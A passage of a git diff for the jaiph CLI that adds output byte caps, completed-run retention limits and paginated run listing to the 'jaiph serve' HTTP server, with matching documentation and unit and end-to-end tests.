`JAIPH_SERVE_MAX_OUTPUT_BYTES` (default 1 MiB) caps collected stdout, stderr, log output, and the resident `result_text` per run (overflow dropped with a truncation marker); `JAIPH_SERVE_RETAIN_RUNS` (default `500`) and `JAIPH_SERVE_RETAIN_AGE_SEC` (default `86400`, `0` disables) bound how many completed runs stay in the in-memory registry, evicting the oldest terminal records first. **Active runs are never evicted**, and eviction drops only the in-memory record — durable `.jaiph/runs` journals and artifacts persist on disk and are the operator's to prune. See [Serve workflows over HTTP](serve.md#8-bound-memory-over-a-long-lived-server). - Execution and hot reload are identical to `jaiph mcp`; a superseded generation's scripts dir survives until its in-flight HTTP runs finish. ## Environment variables diff --git a/docs/env-vars.md b/docs/env-vars.md index 94b6e83b..d12af738 100644 --- a/docs/env-vars.md +++ b/docs/env-vars.md @@ -79,6 +79,9 @@ The table below covers every `JAIPH_*` name read from `process.env` / `env` in ` | `JAIPH_RUNS_DIR_LOCKED` | internal | bool | — | — | Lock flag for `JAIPH_RUNS_DIR`. | | `JAIPH_SCRIPTS` | internal | path | — | — | Directory of emitted `script` files for this run. Set after `buildScripts()`. Any parent-shell value is cleared before launch. | | `JAIPH_SERVE_MAX_CONCURRENT` | host | int | `4` | — | `jaiph serve` — cap on simultaneously-running workflows; requests beyond it get HTTP `429`. Must be a positive integer. | +| `JAIPH_SERVE_MAX_OUTPUT_BYTES` | host | int | `1048576` (1 MiB) | — | `jaiph serve` — per-run byte cap applied independently to collected stdout, stderr, log output, and the public `result_text`. Output beyond the cap is dropped with a deterministic truncation marker, bounding one run's memory. Must be a positive integer. | +| `JAIPH_SERVE_RETAIN_AGE_SEC` | host | int | `86400` (24h) | — | `jaiph serve` — max age (seconds, from `ended_at`) of a completed run kept in the in-memory registry; older terminal records are evicted. `0` disables age eviction. Active runs are never evicted; durable `.jaiph/runs` artifacts are unaffected. Must be `>= 0`. | +| `JAIPH_SERVE_RETAIN_RUNS` | host | int | `500` | — | `jaiph serve` — max completed runs kept in the in-memory registry; beyond it the oldest terminal records are evicted first. Active runs are never evicted; durable `.jaiph/runs` artifacts are unaffected. Must be a positive integer. | | `JAIPH_SERVE_TOKEN` | host | string | — | — | `jaiph serve` — bearer token required on every `/v1/*` request (constant-time compared). Unset leaves `/v1/*` open on loopback; binding a non-loopback `--host` without it is a startup error. `/healthz`, `/openapi.json`, `/docs` are always unauthenticated. | | `JAIPH_SKILL_PATH` | host | path | — | — | When set and the path exists, `jaiph init` writes `.jaiph/SKILL.md` from that file. Otherwise the CLI walks an install-relative search. | | `JAIPH_SOURCE_ABS` | internal | path | — | — | Absolute path to the entry `.jh` file. Set by the CLI before spawning the runner. | diff --git a/docs/serve.md b/docs/serve.md index c820d692..659f632f 100644 --- a/docs/serve.md +++ b/docs/serve.md @@ -48,7 +48,7 @@ curl -s -X POST 'http://127.0.0.1:5247/v1/workflows/greet/runs?wait=true' \ -H 'content-type: application/json' -d '{"name":"world"}' | jq ``` -The run object is `{run_id, workflow, status, started_at, ended_at, exit_status, signal, result_text, run_dir}`. `result_text` is the same content an MCP client sees — the workflow's `return` value, or its failure narrative. Failure narratives are credential-redacted (`[REDACTED]`) the same way as the event journal; the `return` value of a successful run is intentional API output and returned verbatim. **A workflow failure is not an HTTP error:** a failed run comes back `200`/`202` with `status: "failed"` and a `run dir:` pointer in `result_text`. Poll `GET /v1/runs/{id}` for an async run, list them with `GET /v1/runs` (newest first), and stop one with `POST /v1/runs/{id}/cancel`. +The run object is `{run_id, workflow, status, started_at, ended_at, exit_status, signal, result_text, run_dir}`. `result_text` is the same content an MCP client sees — the workflow's `return` value, or its failure narrative. Failure narratives are credential-redacted (`[REDACTED]`) the same way as the event journal; the `return` value of a successful run is intentional API output and returned verbatim. **A workflow failure is not an HTTP error:** a failed run comes back `200`/`202` with `status: "failed"` and a `run dir:` pointer in `result_text`. Poll `GET /v1/runs/{id}` for an async run, list them with `GET /v1/runs` (newest first, paginated — `?limit=` defaults to 100 and is clamped to 1000, `?offset=` skips that many; the response carries `{runs, total, limit, offset}`), and stop one with `POST /v1/runs/{id}/cancel`. ## 4. Watch a run as it executes @@ -96,6 +96,16 @@ curl -s http://host:8080/v1/workflows -H 'authorization: Bearer secret' | jq Binding a non-loopback `--host` **without** `JAIPH_SERVE_TOKEN` is a startup error — the server refuses to expose unauthenticated arbitrary shell. Cap simultaneous runs with `JAIPH_SERVE_MAX_CONCURRENT` (default `4`); requests beyond the cap get `429`. See [Environment variables](env-vars.md) for both. +## 8. Bound memory over a long-lived server + +The concurrency cap limits *active* children, not process memory. A long-lived server accumulates run state, so three bounds keep it from growing without limit — all overridable via [environment variables](env-vars.md): + +- **Per-run output caps.** `JAIPH_SERVE_MAX_OUTPUT_BYTES` (default 1 MiB) caps collected stdout, stderr, log output, and the resident `result_text` independently. Output beyond a cap is dropped and marked with a deterministic `[jaiph: output truncated — exceeded the configured byte cap]` marker, so a run that emits gigabytes still costs bounded memory and returns a self-describing result. +- **Completed-run retention.** The in-memory run registry keeps at most `JAIPH_SERVE_RETAIN_RUNS` completed runs (default 500) and drops any completed run older than `JAIPH_SERVE_RETAIN_AGE_SEC` (default 24h). The oldest terminal records evict first; **active runs are never evicted.** +- **Bounded listing.** `GET /v1/runs` is paginated (`?limit=`, `?offset=`) with a default of 100 and a hard maximum of 1000 per page, so the endpoint can never return an unbounded response. + +**Eviction is in-memory only.** Dropping a run from the registry does **not** delete its durable `.jaiph/runs//run_summary.jsonl` journal or published `artifacts/` — those persist on disk (via `JAIPH_RUNS_DIR`, an `emptyDir` or PVC under Kubernetes) and are **the operator's to prune**. Once a run is evicted its API endpoints (`GET /v1/runs/{id}`, `/events`, `/artifacts`) return `404`; read the durable artifacts from the filesystem instead. + Execution honors the same env-driven sandbox as [`jaiph run`](cli.md#jaiph-run) and [Run in a Docker sandbox](/how-to/sandbox-run): a Docker sandbox with an isolated workspace by default. `JAIPH_INPLACE=1` keeps the sandbox but binds the real workspace read-write so run effects land live; `JAIPH_UNSAFE=true` runs on the host with no sandbox at all. Publish files a run produces with [artifacts](/how-to/artifacts). Editing a served source hot-reloads the workflow set (and the OpenAPI document) with no restart; runs already in flight keep running. ## Verification @@ -108,6 +118,10 @@ curl -s http://127.0.0.1:5247/healthz | jq -e '.status == "ok"' curl -s -X POST 'http://127.0.0.1:5247/v1/workflows/greet/runs?wait=true' \ -H 'content-type: application/json' -d '{"name":"ok"}' \ | jq -e '.status == "succeeded" and (.run_dir | length > 0)' + +# The run listing is bounded: a hostile limit is clamped to at most 1000 records. +curl -s 'http://127.0.0.1:5247/v1/runs?limit=100000' \ + | jq -e '.limit == 1000 and (.runs | length) <= 1000' ``` Both `jq -e` checks exit `0` when the contract holds. The run's durable record is under `.jaiph/runs/…/run_summary.jsonl` (`run_dir` in the response), the same artifact layout as `jaiph run`. @@ -117,4 +131,4 @@ Both `jq -e` checks exit `0` when the contract holds. The run's durable record i - [CLI — `jaiph serve`](cli.md#jaiph-serve) — flag and endpoint reference. - [Serve workflows as MCP tools](mcp.md) — the stdio sibling with the same exposure rules. - [Run in a Docker sandbox](/how-to/sandbox-run) — the execution sandbox HTTP runs use. -- [Environment variables](env-vars.md) — `JAIPH_SERVE_TOKEN`, `JAIPH_SERVE_MAX_CONCURRENT`, and the sandbox controls. +- [Environment variables](env-vars.md) — `JAIPH_SERVE_TOKEN`, `JAIPH_SERVE_MAX_CONCURRENT`, the `JAIPH_SERVE_MAX_OUTPUT_BYTES` / `JAIPH_SERVE_RETAIN_RUNS` / `JAIPH_SERVE_RETAIN_AGE_SEC` memory bounds, and the sandbox controls. diff --git a/e2e/tests/147_serve_http_api.sh b/e2e/tests/147_serve_http_api.sh index cdd90641..3a82944e 100755 --- a/e2e/tests/147_serve_http_api.sh +++ b/e2e/tests/147_serve_http_api.sh @@ -131,6 +131,17 @@ print(",".join(names)) ')" e2e::assert_equals "${workflows}" "boom,greet,make_artifact" "GET /v1/workflows lists all workflows" +# --- GET /v1/runs is paginated (bounded listing) --- +# Two runs exist by now (greet, boom); ?limit=1 must return exactly one record, +# echo the requested limit, and report the full total so the response can never +# be unbounded. Field-level checks: run objects carry volatile run_dir/timestamps. +runs_page="$(curl -s "${base}/v1/runs?limit=1" | python3 -c ' +import json, sys +d = json.load(sys.stdin) +print("%d,%d,%d" % (len(d["runs"]), d["limit"], d["total"])) +')" +e2e::assert_equals "${runs_page}" "1,1,2" "GET /v1/runs?limit=1 returns a bounded page with a total count" + # --- GET /v1/runs/{id}/events (NDJSON) mirrors the durable journal --- # The greet run above returned a run object; re-run it capturing the id, then # byte-compare the events endpoint against the on-disk run_summary.jsonl. diff --git a/src/cli/commands/serve.ts b/src/cli/commands/serve.ts index e9e046a1..493af3b7 100644 --- a/src/cli/commands/serve.ts +++ b/src/cli/commands/serve.ts @@ -5,7 +5,7 @@ import { detectWorkspaceRoot } from "../shared/paths"; import { findRunDir } from "../shared/errors"; import { hasHelpFlag, parseArgs } from "../shared/usage"; import { resolveEnvPairs } from "../run/env"; -import { callWorkflow } from "../exec/call"; +import { callWorkflow, type OutputCaps } from "../exec/call"; import { loadGeneration, createGenerationTracker, @@ -21,6 +21,25 @@ import { VERSION } from "../../version"; const DEFAULT_HOST = "127.0.0.1"; const DEFAULT_PORT = 5247; const DEFAULT_MAX_CONCURRENT = 4; +/** Keep the newest 500 completed runs resident; older terminal records evict. */ +const DEFAULT_RETAIN_RUNS = 500; +/** Evict a completed run 24h after it ended (0 would disable age eviction). */ +const DEFAULT_RETAIN_AGE_SEC = 24 * 60 * 60; +/** 1 MiB per stream / log buffer / result_text; bounds one run's memory. */ +const DEFAULT_MAX_OUTPUT_BYTES = 1024 * 1024; + +/** + * Parse an integer env var, returning the fallback when unset. Throws a + * diagnosable error (caught by the caller) when set but not an integer `>= min`. + */ +function intEnv(raw: string | undefined, name: string, fallback: number, min: number): number { + if (raw === undefined) return fallback; + const n = Number(raw); + if (!Number.isInteger(n) || n < min) { + throw new Error(`${name} must be an integer >= ${min}, got "${raw}"`); + } + return n; +} const SERVE_USAGE = "Usage: jaiph serve [--host ] [--port ] [--workspace ] [--env KEY[=VALUE]]... \n\n" + @@ -38,7 +57,11 @@ const SERVE_USAGE = "Auth: set JAIPH_SERVE_TOKEN to require `Authorization: Bearer ` on every\n" + "/v1/* request (/healthz, /openapi.json, /docs stay open). Binding a non-loopback\n" + "host without the token set is a startup error. Cap concurrent runs with\n" + - "JAIPH_SERVE_MAX_CONCURRENT (default 4).\n\n" + + "JAIPH_SERVE_MAX_CONCURRENT (default 4). Bound memory with JAIPH_SERVE_MAX_OUTPUT_BYTES\n" + + "(per-run stdout/stderr/log/result cap, default 1 MiB), JAIPH_SERVE_RETAIN_RUNS\n" + + "(completed runs kept in memory, default 500), and JAIPH_SERVE_RETAIN_AGE_SEC\n" + + "(max completed-run age, default 86400; 0 disables). GET /v1/runs is paginated\n" + + "(?limit default 100, max 1000; ?offset).\n\n" + " --host listen address (default: 127.0.0.1)\n" + " --port listen port (default: 5247)\n" + " --workspace workspace root for import resolution (default: auto-detect)\n" + @@ -118,6 +141,25 @@ export async function runServe(rest: string[]): Promise { maxConcurrent = n; } + // Memory bounds: retained completed runs (count + age) and per-run output caps. + let retainRuns: number; + let retainAgeSec: number; + let maxOutputBytes: number; + try { + retainRuns = intEnv(process.env.JAIPH_SERVE_RETAIN_RUNS, "JAIPH_SERVE_RETAIN_RUNS", DEFAULT_RETAIN_RUNS, 1); + retainAgeSec = intEnv(process.env.JAIPH_SERVE_RETAIN_AGE_SEC, "JAIPH_SERVE_RETAIN_AGE_SEC", DEFAULT_RETAIN_AGE_SEC, 0); + maxOutputBytes = intEnv(process.env.JAIPH_SERVE_MAX_OUTPUT_BYTES, "JAIPH_SERVE_MAX_OUTPUT_BYTES", DEFAULT_MAX_OUTPUT_BYTES, 1); + } catch (err) { + process.stderr.write(`${err instanceof Error ? err.message : String(err)}\n`); + return 1; + } + const outputCaps: OutputCaps = { + stdout: maxOutputBytes, + stderr: maxOutputBytes, + logs: maxOutputBytes, + resultText: maxOutputBytes, + }; + // All logs go to stderr — stdout stays clean for scripting. const log = (line: string): void => { process.stderr.write(`${line}\n`); @@ -172,6 +214,8 @@ export async function runServe(rest: string[]): Promise { serverTitle: `jaiph — ${basename(inputAbs)}`, token, maxConcurrent, + retainRuns, + retainAgeSec, now: () => new Date().toISOString(), // A run's dir is only recorded on its object at finalize; while it runs the // events/artifacts endpoints locate it by scanning the host runs root for @@ -189,6 +233,7 @@ export async function runServe(rest: string[]): Promise { spec.params.map((pp) => args[pp] ?? ""), runId, ctx, + outputCaps, ).finally(() => lease.release()); const tracked = p.then( () => undefined, @@ -239,6 +284,11 @@ export async function runServe(rest: string[]): Promise { const base = `http://${host}:${boundPort}`; log(`jaiph serve: listening on ${base} — API docs at ${base}/docs (${generations.current().tools.length} workflow(s))`); + log( + `jaiph serve: memory bounds — retain ${retainRuns} completed run(s)` + + `${retainAgeSec > 0 ? ` up to ${retainAgeSec}s old` : ""}, ${maxOutputBytes} output bytes/run; ` + + "durable .jaiph/runs artifacts are pruned separately (operator responsibility).", + ); return await new Promise((resolveExit) => { let draining = false; diff --git a/src/cli/exec/call.test.ts b/src/cli/exec/call.test.ts index 410101e3..4c8a14b3 100644 --- a/src/cli/exec/call.test.ts +++ b/src/cli/exec/call.test.ts @@ -1,9 +1,18 @@ import test from "node:test"; import assert from "node:assert/strict"; +import { EventEmitter } from "node:events"; +import type { ChildProcess } from "node:child_process"; import { mkdtempSync, rmSync, writeFileSync } from "node:fs"; import { tmpdir } from "node:os"; import { join } from "node:path"; -import { composeResult, type CollectedOutput } from "./call"; +import { + attachOutputCollector, + capBytes, + composeResult, + TRUNCATION_MARKER, + type CollectedOutput, + type OutputCaps, +} from "./call"; const SECRET = "supersecretvalue123"; const ENV: NodeJS.ProcessEnv = { LEAK_API_KEY: SECRET }; @@ -73,3 +82,91 @@ test("composeResult redacts the log-fallback success text (diagnostic capture)", assert.equal(result.isError, false); assert.equal(result.text, "log saw [REDACTED]"); }); + +// === output byte caps (bounded memory) === + +const SMALL_CAPS: OutputCaps = { stdout: 64, stderr: 64, logs: 32, resultText: 128 }; + +test("capBytes returns short input verbatim and marks truncation on overflow", () => { + assert.equal(capBytes("hello", 128), "hello"); + const capped = capBytes("x".repeat(10_000), 100); + assert.ok(Buffer.byteLength(capped) <= 100 + Buffer.byteLength(TRUNCATION_MARKER), "bounded to cap + marker"); + assert.ok(capped.endsWith(TRUNCATION_MARKER), "marker appended"); + assert.equal(capped.slice(0, 100), "x".repeat(100), "head preserved up to the cap"); +}); + +test("capBytes does not split a trailing multibyte char (no U+FFFD)", () => { + // "€" is 3 UTF-8 bytes; a cap landing mid-char must drop the partial char. + const capped = capBytes("€€€€", 4); + assert.ok(!capped.includes("�"), "no replacement char leaks into the head"); + assert.equal(capped, "€" + TRUNCATION_MARKER); +}); + +test("composeResult caps result_text on a runaway failure and returns a deterministic marker", () => { + const huge = "z".repeat(5 * 1024 * 1024); // 5 MiB of stdout from a hostile run + const result = composeResult("boom", collected({ rawStdout: huge }), FAIL, undefined, undefined, ENV, SMALL_CAPS); + assert.equal(result.isError, true); + assert.ok( + Buffer.byteLength(result.text) <= SMALL_CAPS.resultText + Buffer.byteLength(TRUNCATION_MARKER), + `result_text stays within the cap (was ${Buffer.byteLength(result.text)} bytes)`, + ); + assert.ok(result.text.endsWith(TRUNCATION_MARKER), "truncation marker is deterministic and present"); +}); + +test("composeResult caps a runaway successful return value", () => { + const runDir = mkdtempSync(join(tmpdir(), "jaiph-call-cap-")); + try { + writeFileSync(join(runDir, "return_value.txt"), "y".repeat(1024)); + const result = composeResult("ok", collected({}), OK, runDir, undefined, ENV, SMALL_CAPS); + assert.equal(result.isError, false); + assert.ok(Buffer.byteLength(result.text) <= SMALL_CAPS.resultText + Buffer.byteLength(TRUNCATION_MARKER)); + assert.ok(result.text.endsWith(TRUNCATION_MARKER)); + } finally { + rmSync(runDir, { recursive: true, force: true }); + } +}); + +class FakeStream extends EventEmitter { + setEncoding(): void {} +} + +function fakeChild(): { child: ChildProcess; stdout: FakeStream; stderr: FakeStream } { + const stdout = new FakeStream(); + const stderr = new FakeStream(); + return { child: { stdout, stderr } as unknown as ChildProcess, stdout, stderr }; +} + +test("attachOutputCollector bounds stdout, stderr, and logs, each with a marker", () => { + const { child, stdout, stderr } = fakeChild(); + const { data, drain } = attachOutputCollector(child, undefined, SMALL_CAPS); + + // stdout: two 50-byte chunks — the second overflows the 64-byte cap. + stdout.emit("data", "a".repeat(50)); + stdout.emit("data", "b".repeat(50)); + stdout.emit("data", "c".repeat(50)); // ignored once cut + assert.ok( + Buffer.byteLength(data.rawStdout) <= SMALL_CAPS.stdout + Buffer.byteLength(TRUNCATION_MARKER), + "rawStdout bounded", + ); + assert.ok(data.rawStdout.startsWith("a".repeat(50))); + assert.ok(data.rawStdout.endsWith(TRUNCATION_MARKER)); + assert.ok(!data.rawStdout.includes("cccc"), "post-cut chunks are dropped"); + + // stderr raw (non-event) lines: two 50-byte lines overflow the 64-byte cap. + stderr.emit("data", `${"p".repeat(50)}\n${"q".repeat(50)}\n`); + assert.ok( + Buffer.byteLength(data.rawStderr) <= SMALL_CAPS.stderr + Buffer.byteLength(TRUNCATION_MARKER), + "rawStderr bounded", + ); + assert.ok(data.rawStderr.endsWith(TRUNCATION_MARKER)); + + // logs: several event lines whose messages exceed the 32-byte logs cap. + for (let i = 0; i < 5; i += 1) { + stderr.emit("data", `__JAIPH_EVENT__ ${JSON.stringify({ type: "LOG", message: "m".repeat(20) })}\n`); + } + const logsBytes = data.logs.reduce((n, m) => n + Buffer.byteLength(m), 0); + assert.ok(logsBytes <= SMALL_CAPS.logs + Buffer.byteLength(TRUNCATION_MARKER.trim()), "logs bounded"); + assert.equal(data.logs[data.logs.length - 1], TRUNCATION_MARKER.trim(), "logs truncation marker recorded once"); + assert.equal(data.logs.filter((m) => m === TRUNCATION_MARKER.trim()).length, 1, "marker pushed exactly once"); + drain(); +}); diff --git a/src/cli/exec/call.ts b/src/cli/exec/call.ts index 62ace220..91e52a94 100644 --- a/src/cli/exec/call.ts +++ b/src/cli/exec/call.ts @@ -86,6 +86,52 @@ export interface CollectedOutput { rawStdout: string; } +/** + * Byte caps that bound one call's in-memory capture. A long-lived server + * (`jaiph serve`) can be driven by an authenticated caller into producing + * unbounded stdout/stderr/log output; these caps stop a single run from + * exhausting process memory, and bound the `result_text` the server keeps + * resident per run. Each field is measured in UTF-8 bytes. The defaults keep an + * ordinary run's full output; the server lowers them via env when needed. + */ +export interface OutputCaps { + /** Max bytes retained for raw stdout capture. */ + stdout: number; + /** Max bytes retained for raw stderr capture. */ + stderr: number; + /** Max bytes retained across all collected `log` messages. */ + logs: number; + /** Max bytes of the composed, returned `result_text`. */ + resultText: number; +} + +/** + * Effectively-unbounded caps — the default for every caller that does not opt + * in (`jaiph mcp`, direct callers), so their existing behavior is unchanged. + * Only the long-lived HTTP service (`jaiph serve`) passes finite caps. + */ +export const DEFAULT_OUTPUT_CAPS: OutputCaps = { + stdout: Number.MAX_SAFE_INTEGER, + stderr: Number.MAX_SAFE_INTEGER, + logs: Number.MAX_SAFE_INTEGER, + resultText: Number.MAX_SAFE_INTEGER, +}; + +/** + * Deterministic marker appended to any captured stream or result text cut at a + * cap, so a truncated response is self-describing rather than silently short. + */ +export const TRUNCATION_MARKER = "\n[jaiph: output truncated — exceeded the configured byte cap]"; + +/** Cap `text` to `cap` UTF-8 bytes, appending {@link TRUNCATION_MARKER} on overflow. */ +export function capBytes(text: string, cap: number): string { + if (Buffer.byteLength(text) <= cap) return text; + // Slice on a byte boundary, then drop a trailing partial multibyte char + // (which `toString` decodes to U+FFFD) so the head stays valid UTF-8. + const head = Buffer.from(text, "utf8").subarray(0, cap).toString("utf8").replace(/\uFFFD+$/, ""); + return head + TRUNCATION_MARKER; +} + /** * Execute one workflow call. Honors the same env-driven sandbox selection as * `jaiph run`: when `dockerConfig.enabled`, the call runs in a per-call @@ -105,6 +151,7 @@ export async function callWorkflow( positionalArgs: string[], runId: string, ctx?: WorkflowCallContext, + caps: OutputCaps = DEFAULT_OUTPUT_CAPS, ): Promise { const runtimeEnv = resolveRuntimeEnv(env.effectiveConfig, env.workspaceRoot, env.inputAbs); runtimeEnv.JAIPH_SOURCE_ABS = env.inputAbs; @@ -112,8 +159,8 @@ export async function callWorkflow( runtimeEnv.JAIPH_SCRIPTS = env.scriptsDir; const result = dockerConfig.enabled - ? await callWorkflowDocker(env, dockerConfig, workflowSymbol, positionalArgs, runtimeEnv, runId, ctx) - : await callWorkflowHost(env, workflowSymbol, positionalArgs, runtimeEnv, runId, ctx); + ? await callWorkflowDocker(env, dockerConfig, workflowSymbol, positionalArgs, runtimeEnv, runId, caps, ctx) + : await callWorkflowHost(env, workflowSymbol, positionalArgs, runtimeEnv, runId, caps, ctx); // One export per call — the shared choke point covering every MCP tool call and // HTTP `jaiph serve` invocation. Best-effort; never changes the call result. await exportRunTelemetry({ @@ -133,6 +180,7 @@ async function callWorkflowHost( positionalArgs: string[], runtimeEnv: Record, runId: string, + caps: OutputCaps, ctx?: WorkflowCallContext, ): Promise { runtimeEnv.JAIPH_MODULE_GRAPH_FILE = env.graphFile; @@ -148,12 +196,12 @@ async function callWorkflowHost( env: runtimeEnv, }); ctx?.onCancelHandle?.(() => cancelRunProcess(child)); - const collector = attachOutputCollector(child, ctx?.onStep); + const collector = attachOutputCollector(child, ctx?.onStep, caps); const exit = await waitForRunExit(child); collector.drain(); const meta = readMetaFile(metaFile); - return composeResult(workflowSymbol, collector.data, exit, meta.runDir, undefined, runtimeEnv); + return composeResult(workflowSymbol, collector.data, exit, meta.runDir, undefined, runtimeEnv, caps); } /** @@ -170,6 +218,7 @@ async function callWorkflowDocker( positionalArgs: string[], runtimeEnv: Record, runId: string, + caps: OutputCaps, ctx?: WorkflowCallContext, ): Promise { const sandboxMode = selectMcpSandboxMode(runtimeEnv); @@ -193,17 +242,22 @@ async function callWorkflowDocker( stopDockerContainer(dockerResult.containerName); cancelRunProcess(dockerResult.child); }); - const collector = attachOutputCollector(dockerResult.child, ctx?.onStep); + const collector = attachOutputCollector(dockerResult.child, ctx?.onStep, caps); return withDockerExitGuard(dockerResult, async () => { const exit = await waitForRunExit(dockerResult.child); collector.drain(); const discovered = discoverDockerRunDir(sandboxRunDir, runId); // Docker keeps `--env` passthrough out of runtimeEnv (it flows through // DockerSpawnOptions.extraEnv), so merge it back in for redaction. - return composeResult(workflowSymbol, collector.data, exit, discovered.runDir, sandboxRunDir, { - ...runtimeEnv, - ...env.extraEnv, - }); + return composeResult( + workflowSymbol, + collector.data, + exit, + discovered.runDir, + sandboxRunDir, + { ...runtimeEnv, ...env.extraEnv }, + caps, + ); }); } @@ -214,15 +268,35 @@ async function callWorkflowDocker( * event so the caller can stream progress. `drain()` flushes any trailing * partial stderr line. */ -function attachOutputCollector( +export function attachOutputCollector( child: ChildProcess, - onStep?: (kind: string, name: string) => void, + onStep: ((kind: string, name: string) => void) | undefined, + caps: OutputCaps, ): { data: CollectedOutput; drain: () => void } { const data: CollectedOutput = { logs: [], rawStderr: "", rawStdout: "" }; + // Per-stream byte counters + one-shot "cut" flags so accumulation stops at the + // cap (each stream overshoots by at most one over-cap chunk, which is then + // dropped) and the truncation marker is recorded exactly once. + let logsBytes = 0; + let logsCut = false; + let stderrBytes = 0; + let stderrCut = false; + let stdoutBytes = 0; + let stdoutCut = false; + const onStderrLine = (line: string): void => { const logEvent = parseLogEvent(line); if (logEvent) { - data.logs.push(logEvent.message); + if (!logsCut) { + const b = Buffer.byteLength(logEvent.message); + if (logsBytes + b <= caps.logs) { + data.logs.push(logEvent.message); + logsBytes += b; + } else { + data.logs.push(TRUNCATION_MARKER.trim()); + logsCut = true; + } + } return; } const stepEvent = parseStepEvent(line); @@ -239,7 +313,17 @@ function attachOutputCollector( onStep?.(stepEvent.kind, stepEvent.name); return; } - data.rawStderr += `${line}\n`; + if (!stderrCut) { + const add = `${line}\n`; + const b = Buffer.byteLength(add); + if (stderrBytes + b <= caps.stderr) { + data.rawStderr += add; + stderrBytes += b; + } else { + data.rawStderr += TRUNCATION_MARKER; + stderrCut = true; + } + } }; let stderrBuf = ""; @@ -255,7 +339,15 @@ function attachOutputCollector( }); child.stdout?.setEncoding("utf8"); child.stdout?.on("data", (chunk: string) => { - data.rawStdout += chunk; + if (stdoutCut) return; + const b = Buffer.byteLength(chunk); + if (stdoutBytes + b <= caps.stdout) { + data.rawStdout += chunk; + stdoutBytes += b; + } else { + data.rawStdout += TRUNCATION_MARKER; + stdoutCut = true; + } }); return { @@ -276,6 +368,11 @@ function attachOutputCollector( * not redacted at the source, so this must not rely on the event stream. * A successful workflow's return value is intentional API output, not * diagnostic capture, and is returned verbatim. + * + * The composed `text` is capped at `caps.resultText` bytes (with a deterministic + * truncation marker) as the final backstop: it is the value a long-lived + * `jaiph serve` keeps resident per run, so an unbounded return value or log + * dump cannot grow the run registry without limit. */ export function composeResult( workflowSymbol: string, @@ -284,6 +381,7 @@ export function composeResult( runDir: string | undefined, sandboxRunDir: string | undefined, env: NodeJS.ProcessEnv, + caps: OutputCaps = DEFAULT_OUTPUT_CAPS, ): WorkflowCallResult { const failed = exit.status !== 0 || exit.signal !== null; @@ -295,7 +393,13 @@ export function composeResult( : data.logs.length > 0 ? redactCredentials(data.logs.join("\n"), env) : `workflow ${workflowSymbol} completed`; - return { text: trimTrailingNewline(text), isError: false, runDir, exitStatus: exit.status, signal: exit.signal }; + return { + text: capBytes(trimTrailingNewline(text), caps.resultText), + isError: false, + runDir, + exitStatus: exit.status, + signal: exit.signal, + }; } const parts: string[] = []; @@ -318,7 +422,7 @@ export function composeResult( // streams, and logs — passes the same boundary regardless of which branch // contributed it. return { - text: redactCredentials(parts.join("\n\n"), env), + text: capBytes(redactCredentials(parts.join("\n\n"), env), caps.resultText), isError: true, runDir, exitStatus: exit.status, diff --git a/src/cli/serve/handler.test.ts b/src/cli/serve/handler.test.ts index db105bdd..7ed5c841 100644 --- a/src/cli/serve/handler.test.ts +++ b/src/cli/serve/handler.test.ts @@ -41,6 +41,9 @@ function makeHandler(overrides?: { tools?: McpToolSpec[]; token?: string; maxConcurrent?: number; + retainRuns?: number; + retainAgeSec?: number; + now?: () => string; }): ServeHandler { let n = 0; return new ServeHandler({ @@ -50,7 +53,9 @@ function makeHandler(overrides?: { callTool: overrides?.callTool ?? (async () => ({ text: "done", isError: false, exitStatus: 0 })), token: overrides?.token, maxConcurrent: overrides?.maxConcurrent ?? 4, - now: () => "2026-07-24T00:00:00.000Z", + retainRuns: overrides?.retainRuns, + retainAgeSec: overrides?.retainAgeSec, + now: overrides?.now ?? (() => "2026-07-24T00:00:00.000Z"), newRunId: () => `run-${n++}`, }); } @@ -250,6 +255,91 @@ test("GET /v1/runs/{id} for an unknown id is 404, and lists newest first", async assert.equal(list.runs[1].run_id, "run-0"); }); +// === run retention (bounded in-memory registry) === + +test("count retention evicts only the oldest terminal records, keeping the newest", async () => { + const h = makeHandler({ tools: [NOARG_TOOL], retainRuns: 2, callTool: async () => ({ text: "ok", isError: false, exitStatus: 0 }) }); + for (let i = 0; i < 5; i += 1) { + await h.handleRequest(req("POST", "/v1/workflows/ping/runs?wait=true")); + } + // 5 completed, retain 2 → only run-3 and run-4 (newest) survive. + const ids = [...h.runs.keys()].sort(); + assert.deepEqual(ids, ["run-3", "run-4"]); + const notFound = await h.handleRequest(req("GET", "/v1/runs/run-0")); + assert.equal(notFound.status, 404, "evicted run is gone from the registry"); +}); + +test("retention never evicts an active run even when the terminal budget is exceeded", async () => { + let releaseActive!: (r: WorkflowCallResult) => void; + let calls = 0; + const h = makeHandler({ + tools: [NOARG_TOOL], + retainRuns: 1, + callTool: () => { + calls += 1; + // The first call stays in-flight; later calls resolve immediately. + if (calls === 1) return new Promise((r) => (releaseActive = r)); + return Promise.resolve({ text: "ok", isError: false, exitStatus: 0 }); + }, + }); + const active = bodyJson(await h.handleRequest(req("POST", "/v1/workflows/ping/runs"))); + assert.equal(active.status, "running"); + // Complete three more runs; with retainRuns=1 they churn, but the active run + // must never be evicted. + for (let i = 0; i < 3; i += 1) { + await h.handleRequest(req("POST", "/v1/workflows/ping/runs?wait=true")); + } + assert.ok(h.runs.has(active.run_id), "the running run survives eviction"); + releaseActive({ text: "ok", isError: false, exitStatus: 0 }); + await flush(); +}); + +test("age retention evicts a completed run once it is older than the window", async () => { + let clock = "2026-07-24T00:00:00.000Z"; + const h = makeHandler({ + tools: [NOARG_TOOL], + retainAgeSec: 60, + now: () => clock, + callTool: async () => ({ text: "ok", isError: false, exitStatus: 0 }), + }); + // First run ends at T0. + const first = bodyJson(await h.handleRequest(req("POST", "/v1/workflows/ping/runs?wait=true"))); + assert.ok(h.runs.has(first.run_id)); + // Advance the clock 2 minutes; a new completion triggers age eviction of the + // now-stale first run (ended > 60s ago). + clock = "2026-07-24T00:02:00.000Z"; + await h.handleRequest(req("POST", "/v1/workflows/ping/runs?wait=true")); + assert.ok(!h.runs.has(first.run_id), "the stale completed run was evicted"); +}); + +// === /v1/runs pagination (bounded listing) === + +test("GET /v1/runs paginates: bounded default, stable newest-first order, total count", async () => { + const h = makeHandler({ tools: [NOARG_TOOL], callTool: async () => ({ text: "ok", isError: false, exitStatus: 0 }) }); + for (let i = 0; i < 5; i += 1) { + await h.handleRequest(req("POST", "/v1/workflows/ping/runs?wait=true")); + } + const page = bodyJson(await h.handleRequest(req("GET", "/v1/runs?limit=2"))); + assert.equal(page.total, 5, "total reflects the full registry"); + assert.equal(page.limit, 2); + assert.equal(page.offset, 0); + assert.deepEqual(page.runs.map((r: any) => r.run_id), 